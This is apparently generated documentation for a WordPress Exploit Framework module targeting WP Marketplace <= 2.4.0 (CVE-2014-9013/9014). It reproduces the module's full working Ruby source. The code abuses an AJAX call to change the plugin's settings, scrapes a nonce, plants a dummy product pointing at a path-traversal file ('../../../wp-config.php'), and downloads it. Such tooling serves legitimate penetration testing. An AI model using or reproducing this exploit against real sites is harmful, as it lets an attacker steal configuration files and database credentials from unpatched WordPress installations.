Class: Wpxf::Auxiliary::WpMarketplaceV24FileDownload

Inherits:
Module
  • Object
show all
Includes:
WordPress::FileDownload
Defined in:
lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary collapse

Attributes included from WordPress::FileDownload

#downloaded_filename

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::FileDownload

#download_request_body, #expected_http_code, #file_category, #file_extension, #handle_unexpected_http_code, #loot_description, #register_remote_file_option?, #remote_file, #run, #validate_content

Methods included from Helpers::Export

#export_and_log_loot, #export_path, #generate_unique_filename, #register_export_path_option

Methods included from Db::Loot

#store_loot

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #run, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ WpMarketplaceV24FileDownload

Returns a new instance of WpMarketplaceV24FileDownload.



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 6

def initialize
  super

  update_info(
    name: 'WP Marketplace <= 2.4.0 Arbitrary File Download',
    desc: %(
      This module exploits a vulnerability which allows registered users of any level
      to download any arbitrary file accessible by the user the web server is running as.
    ),
    author: [
      'Kacper Szurek', # Disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '7861'],
      ['CVE', '2014-9013'],
      ['CVE', '2014-9014'],
      ['URL', 'http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html']
    ],
    date: 'Mar 21 2015'
  )

  register_options([
    StringOption.new(
      name: 'user_role',
      desc: 'The role of the user account being used for authentication',
      default: 'Subscriber',
      required: true
    )
  ])
end

Instance Attribute Details

#download_id ⇒ Object

Returns the value of attribute download_id.



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 141

def download_id
  @download_id
end

Instance Method Details

#before_download ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 116

def before_download
  return false unless modify_plugin_permissions
  emit_info 'Modified plugin permissions successfully', true

  @nonce = fetch_ajax_nonce
  return false unless @nonce

  emit_info "Acquired nonce \"#{@nonce}\"", true
  self.download_id = "1#{Utility::Text.rand_numeric(5)}"

  create_product
end

#check ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 38

def check
  check_plugin_version_from_changelog('wpmarketplace', 'readme.txt', '2.4.1')
end

#create_product ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 94

def create_product
  res = execute_post_request(
    url: full_uri,
    body: {
      '__product_wpmp' => @nonce,
      'post_type' => 'wpmarketplace',
      'id' => @download_id,
      'wpmp_list[base_price]' => '0',
      'wpmp_list[file][]' => remote_file
    },
    cookie: session_cookie
  )

  unless res && (res.code == 200 || res.code == 302)
    emit_error 'Failed to create dummy product'
    emit_error res.inspect, true
    return false
  end

  true
end

#default_remote_file_path ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 46

def default_remote_file_path
  '../../../wp-config.php'
end

#download_request_method ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 129

def download_request_method
  :post
end

#download_request_params ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 137

def download_request_params
  { 'wpmpfile' => download_id }
end

#downloader_url ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 133

def downloader_url
  full_uri
end

#fetch_ajax_nonce ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 73

def fetch_ajax_nonce
  res = execute_post_request(
    url: full_uri,
    body: {
      'action'  => 'wpmp_pp_ajax_call',
      'execute' => 'wpmp_front_add_product'
    },
    cookie: session_cookie
  )

  nonce = res.body[/name="__product_wpmp" value="([^"]+)"/i, 1] if res&.code == 200

  unless nonce
    emit_error 'Failed to acquire a download nonce'
    emit_error res.inspect, true
    return false
  end

  nonce
end

#modify_plugin_permissions ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 54

def modify_plugin_permissions
  res = execute_post_request(
    url: full_uri,
    body: {
      'action'                      => 'wpmp_pp_ajax_call',
      'execute'                     => 'wpmp_save_settings',
      '_wpmp_settings[user_role][]' => datastore['user_role'].downcase
    },
    cookie: session_cookie
  )

  unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i
    emit_error 'Failed to modify the plugin permissions'
    return false
  end

  true
end

#requires_authentication ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 42

def requires_authentication
  true
end

#working_directory ⇒ Object 



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# File 'lib/wpxf/modules/auxiliary/file_download/wp_marketplace_v2.4_file_download.rb', line 50

def working_directory
  'wp-content/plugins/wpmarketplace'
end